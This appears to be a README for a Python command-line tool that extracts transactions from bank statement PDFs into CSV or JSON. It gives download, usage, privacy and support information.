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🧾 Python-PDF-Bank-Statement-Parser - Extract PDF Data Easily

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📖 Description

This tool helps you extract and analyze bank transaction data from PDF statements. With the Python-PDF-Bank-Statement-Parser, you can export structured details to CSV or JSON format. This makes it easy to integrate with other financial applications or for personal use.

🚀 Getting Started

📥 Download & Install

To get started, you’ll need to download the application. You can visit this page to download:

Download Releases

Follow these steps to download and run the software:

1. Click the link above to go to the Releases page.
2. Look for the latest version.
3. Download the file that matches your operating system.

🛠️ System Requirements

• Operating System: Windows, macOS, or Linux
• Python: Version 3.6 or higher must be installed.
• Memory: At least 2GB of RAM is recommended.
• Disk Space: Minimum 100MB of free space.

🎉 Features

• PDF Parsing: Extracts transaction details from various bank statement formats.
• Data Export: Allows exporting to CSV or JSON formats for easy handling.
• User-Friendly: Simple command-line interface requires no programming knowledge.
• Secure: Ensures data privacy while processing sensitive information.

🔍 How to Use the Application

Once you have downloaded the application, follow these steps to use it:

1. Open Your Command Line Interface:
   • On Windows, search for “Command Prompt”.
   • On macOS, open “Terminal”.
   • On Linux, open your terminal application.
2. Navigate to the Download Directory: Change to the directory where you downloaded the application. You can use the following commands:
   • Windows: cd PATH\TO\YOUR\DOWNLOADS
   • macOS/Linux: cd /path/to/your/downloads
3. Run the Application: Type the following command, replacing yourfile.pdf with the name of your PDF statement file:

   python pdf_parser.py yourfile.pdf --output output_file.csv
   

   This command will parse the PDF and save the results in output_file.csv.

4. Check the Output: After the command finishes running, check the output file. You can open it with any spreadsheet software, such as Microsoft Excel or Google Sheets.

📊 Data Handling

📁 Supported Formats

• Input: PDF files from various banks and financial institutions.
• Output: CSV or JSON formats for your convenience.

🔒 Privacy Considerations

Your financial data is sensitive. This tool processes data locally, meaning your information does not leave your machine. No data is shared online, ensuring your privacy.

🌐 FAQs

❓ What types of PDFs are supported?

The tool supports most standard bank statement PDFs. If your PDF has images or complex layouts, parsing may be less accurate.

❓ Can I use it on multiple operating systems?

Yes, the application works on Windows, macOS, and Linux.

❓ How do I handle errors?

If you encounter errors, check your PDF file format and ensure you use the correct command. You can also refer to the GitHub issues page for troubleshooting.

💬 Support

If you have questions or need help, feel free to open an issue on the GitHub repository. The community or the maintainer will assist you.

🧑‍🤝‍🧑 Contributors

We welcome contributions. If you want to help improve the tool, please check our contribution guidelines in the repository.

📢 Stay Updated

For updates and new features, follow the repository or visit the Releases page regularly.

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Enjoy easing your financial data management with the Python-PDF-Bank-Statement-Parser!